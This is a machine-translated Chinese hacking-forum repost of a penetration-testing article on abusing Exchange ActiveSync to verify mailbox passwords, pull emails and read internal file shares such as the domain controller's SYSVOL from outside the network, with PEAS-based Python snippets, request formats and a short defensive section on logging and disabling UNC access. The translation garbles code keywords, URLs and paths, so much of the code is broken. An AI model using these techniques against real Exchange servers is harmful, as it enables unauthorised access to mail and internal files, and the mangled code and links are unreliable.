跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

渗透技巧——通过Exchange ActiveSync访问内部文件共享

精选回复

发布于

0x00 前言

Exchange ActiveSync是一种Microsoft Exchange同步协议,用于在邮件服务器和移动设备之间同步邮件资源。

亚当卢瑟福和大卫奇斯蒙在他们的文章中介绍了通过Exchange ActiveSync访问内部文件共享的方法

文章地址:

https://实验室。f-安全。com/archive/access-内部文件共享-通过exchange-ActiveSync/

本文将要基于他们的研究,介绍通过Exchange ActiveSync访问内部文件共享的细节,记录研究心得。

0x01 简介

本文将要介绍以下内容:

通过Exchange ActiveSync验证用户邮箱口令

Exchange ActiveSync开源代码测试

通过Exchange ActiveSync访问内部文件共享的细节

防御检测

0x02 基础知识

Exchange ActiveSync是一种Microsoft Exchange同步协议,该协议经过优化,以适用于高延迟和低宽带网络。

该协议基于超文本传送协议和XML,使移动设备可以访问其电子邮件、日历、联系人和任务,并且在脱机工作时仍可以继续访问这些信息。

简单理解,计算机用户通过owa(Outlook Web Access)访问邮件资源,手机用户通过eas(交易所动态同步)访问邮件资源

0x03 通过Exchange ActiveSync验证用户邮箱口令

默认对应的URL:/Microsoft-Server-ActiveSync

可以直接通过浏览器进行访问,提示输入用户名和口令

输入正确的用户名和口令后,返回内容如下图

2-1.png

如果没有凭据,可直接通过wget命令获得服务器信息,命令实例:

wget https://192。168 .1 .1/Microsoft-Server-ActiveSync-无检查-证书-调试

返回结果如下图

2-2.png

为了能够通过脚本实现口令验证,这里需要使用选择方法,如果凭据有效,返回状态码200

页眉部分加入超文本传送协议基本认证(基本认证),格式为授权:基本

为用户名:密码用base64编码后的字符串

计算机编程语言实现的完整代码已上传至github,地址如下:

https://github。com/3g学生Python作业/blob/master/eas检查。巴拉圭

0x04 Exchange ActiveSync开源代码测试

1.https://github.com/solbirn/pyActiveSync

需要使用Python2

为了能够正常测试,还需要如下设置:

(1)同级目录下新建文件proto_creds.py

内容如下:

as_server='192.168.1.1 '

as_user='user1 '

as_pass='password1 '

(2)取消对加密套接字协议层证书的验证

修改pyActiveSync \ objects \ msashttp。巴拉圭

添加引用导入安全套接层

将httplib .https连接(自助服务器,自助端口)

替换为httplib .HTTPSConnection(self.server,self.port,context=ssl ._create_unverified_context())

(3)修改pyActiveSync/dev_playground.py

去掉"建议的联系人"相关代码

分别运行dev_playground.py和杂项测试,对应不同的功能

2.https://github.com/FSecureLABS/peas

需要使用Python2

基于pyActiveSync,添加了导出邮件和访问共享文件的功能

常用功能如下:

(1)验证凭据

代码示例:

进口豌豆

#创建一个豌豆客户端的实例。

客户=豌豆。豌豆()

#禁用证书验证,以便自签名证书不会导致错误。

client.disable _证书_验证()

#设置要连接的凭据和服务器。

client.set_creds({

服务器':' 192.168.1.1 ',

用户':'测试1 ',

密码':' 123456789 ',

})

#检查凭证是否被接受。

打印('验证结果:',client.check_auth())

(2)读取邮件

读取收件箱邮件的代码示例:

进口豌豆

进口关于

#创建一个豌豆客户端的实例。

客户=豌豆。豌豆()

#禁用证书验证,以便自签名证书不会导致错误。

client.disable _证书_验证()

#设置要连接的凭据和服务器。

client.set_creds({

服务器':' 192.168.1.1 ',

用户':'测试1 ',

密码':' 123456789 ',

})

#检索电子邮件。

emails=client.extract_emails()

对于电子邮件中的电子邮件:

打印(' \r\n ')

pattern _ data=re . compile(r '(r .*?)')

data=pattern_data.findall(电子邮件)

打印('收件人:'数据[0])

pattern _ data=re . compile(r '(r .*?)')

data=pattern_data.findall(电子邮件)

打印(' From:' data[0])

pattern _ data=re . compile(r '(r .*?)')

data=pattern_data.findall(电子邮件)

打印('主题:'数据[0])

pattern _ data=re . compile(r '(r .*?)')

data=pattern_data.findall(电子邮件)

打印('接收日期:'数据[0])

pattern _ data=re . compile(r '(r .*?)')

data=pattern_data.findall(电子邮件)

print('DisplayTo:' data[0])

pattern _ data=re . compile(r '(r .*?)')

data=pattern_data.findall(电子邮件)

print('ThreadTopic:' data[0])

pattern _ data=re . compile(r '(r .*?)')

data=pattern_data.findall(电子邮件)

打印('重要性:'数据[0])

pattern _ data=re . compile(r '(r .*?)')

data=pattern_data.findall(电子邮件)

print('Read:' data[0])

pattern _ data=re . compile(r '(r .*?)')

data=pattern_data.findall(电子邮件)

对于数据中的名称:

打印("附件:"名称)

pattern _ data=re . compile(r '(r .*?)')

data=pattern_data.findall(电子邮件)

打印('对话索引:'数据[0])

index1=email.find(' ')

index2=email.find(' ')

filename=data[0]' . 1 '' html '

打印('[ ]将正文保存到% s“%(文件名))

用打开(文件名,' w ')作为文件对象:

文件_对象.写入(电子邮件[索引1:索引2 7])

这里需要注意返回的邮件内容中,邮件正文部分的格式为html,我的代码实现了将正文部分提取并保存成超文本标记语言格式,以唯一的会话索引作为文件名

如果想要获得发件箱的邮件信息,需要修改py_activesync_helper.py,修改的细节可参考https://github。com/sol birn/pyActiveSync/blob/master/pyActiveSync/dev _ playground。py # L150

(3)访问文件共享

列出共享文件的代码示例:

进口豌豆

#创建一个豌豆客户端的实例。

客户=豌豆。豌豆()

#禁用证书验证,以便自签名证书不会导致错误。

client.disable _证书_验证()

#设置要连接的凭据和服务器。

client.set_creds({

服务器':' 192.168.1.1 ',

用户':'测试1 ',

密码':' 123456789 ',

})

#检索文件共享目录列表。

列表=客户端。get _ unc _ listing(r ' \ \ dc1 \ SYSVOL ')

对于列表中的数据:

打印(' \r\n ')

对于键,data.items()中的值:

打印(“{key}:{value}”.格式(键=键,值=值))

读取指定共享文件内容的代码示例:

进口豌豆

#创建一个豌豆客户端的实例。

客户=豌豆。豌豆()

#禁用证书验证,以便自签名证书不会导致错误。

client.disable _证书_验证()

#设置要连接的凭据和服务器。

client.set_creds({

服务器':' 192.168.1.1 ',

用户':'测试1 ',

密码':' 123456789 ',

})

数据=客户端。get _ unc _ file(r ' \ \ dc1 \ SYSVOL \ test。D2 945 f-00 c 04 FB 984 f 9 } \ GPT .INI’)

打印(数据)

0x05 通过Exchange ActiveSync访问内部文件共享的细节

1.列出共享文件

访问的统一资源定位器示例:

https://192 .168 .1 .1/微软-服务器-动态同步?cmd=search user=test1设备id=123456设备类型=Python "

参数说明如下:

Cmd=搜索,表示命令类型为搜索

用户=测试1,表示用户名为测试一

设备Id=123456,表示设备ID,会被Exchange ActiveSync记录

DeviceType=Python,表示设备类型,会被Exchange ActiveSync记录

方法为邮政请求

页眉内容示例:

内容类型“:”应用程序/vnd。女士同步。wbxml ',

用户代理:

MS-ASProtocolVersion' : '14.1 ',

接受语言':'美国,

授权:Basic dxnlcgelm 0 fwyxnzd 29 yzde='

身体内容示例:

需要将可扩展标记语言格式转换为无线应用协议二进制XML(WBXML)

可扩展标记语言格式示例:

?可扩展标记语言版本='1.0 '编码='utf-8 '?

文档库\\myserver\myshare0-999

可扩展标记语言格式参考:

https://份文件。微软。com/en-us/open specs/exchange _ server _ protocols/ms-asdoc/f8a 23578-0ca 4-4b 36-aa07-3d CAC 5b 83881

无线应用协议二进制XML(WBXML)算法可参考:

https://份文件。微软。com/en-us/open specs/exchange _ server _ protocols/ms-aswbxml/39973 eb1-1e 40-4e b5-ac74-42781 C5 a33 BC

2.读取指定共享文件内容

访问的统一资源定位器示例:https://192 .168 .1 .1/Microsoft-Server-ActiveSync?cmd=ItemOperationsUser=test1设备id=123456设备类型=Python "

参数说明如下:

Cmd=项目操作,表示命令类型为项目操作

用户=测试1,表示用户名为测试一

设备Id=123456,表示设备ID,会被Exchange ActiveSync记录

DeviceType=Python,表示设备类型,会被Exchange ActiveSync记录

方法为邮政请求

页眉内容示例:

内容类型“:”应用程序/vnd。女士同步。wbxml ',

用户代理:

MS-ASProtocolVersion' : '14.1 ',

接受语言':'美国,

授权:Basic dxnlcgelm 0 fwyxnzd 29 yzde='

身体内容示例:

需要将可扩展标记语言格式转换为无线应用协议二进制XML (WBXML)

可扩展标记语言格式示例:

?可扩展标记语言版本='1.0 '编码='utf-8 '?

文档库\ \ EXCH-D-810 \文档共享\ Word文档。docx

可扩展标记语言格式参考:

https://份文件。微软。com/en-us/open specs/exchange _ server _ protocols/ms-asdoc/e7a 91040-42 f1-475 c-ba C3-d 83 D7 DD 9652 f

我基于豌豆的代码,提取出访问共享文件的功能,生成了一个免安装的版本,地址如下:

https://github.com/3gstudent/easBrowseSharefile

代码支持两个功能:

列出共享文件

读取指定共享文件内容

注:

访问域内共享目录SYSVOL时,路径要加上域控制器的计算机名,而不是域名

正确的写法:

\ \ dc1 \ SYSVOL \ test。D2 945 f-00 c 04 FB 984 f 9 } \ GPT .初始化设置文件的后缀名

错误的写法:

\ \测试。com \ SYSVOL \ test。D2 945 f-00 c 04 FB 984 f 9 } \ GPT .初始化设置文件的后缀名

如果掌握了域控制器的计算机名,可以通过Exchange ActiveSync从外网访问域内共享目录SYSVOL中的文件

0x06 防御检测

通过Exchange ActiveSync读取邮件和访问共享目录会留下设备信息,设备信息对应的代码位置:

https://github。com/FSecureLABS/peas/blob/master/peas/pyActiveSync/objects/msashttp。py # L25

查看设备信息的两个方法

1.登录交换管理中心

选择邮箱用户-移动设备下的查看详细信息,如下图

3-1.png

2.使用交换命令行管理程序

命令如下:

Get-ActiveSyncDevice|fl用户显示名称,设备Id,设备类型,设备用户代理

通过Exchange ActiveSync访问共享文件的日志位置:

% exchange installpath % Logging \ http proxy \ Eas

关闭通过Exchange ActiveSync访问共享文件的方法:

使用交换命令行管理程序,命令如下:

set-MobileDeviceMailboxPolicy-Identity:Default-UNCAccessEnabled:$ false-wssaccesenabled:$ false

参考资料:

https://份文件。微软。com/en-us/powershell/module/exchange/set-mobiledevicemailboxpolicy?view=exchange-ps

查看配置的命令:Get-MobileDeviceMailboxPolicy | fl

0x07 小结

本文介绍了通过Exchange ActiveSync访问内部文件共享的细节,基于豌豆的代码,提取出访问共享文件的功能,生成了一个免安装的版本,结合利用思路给出防御建议。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。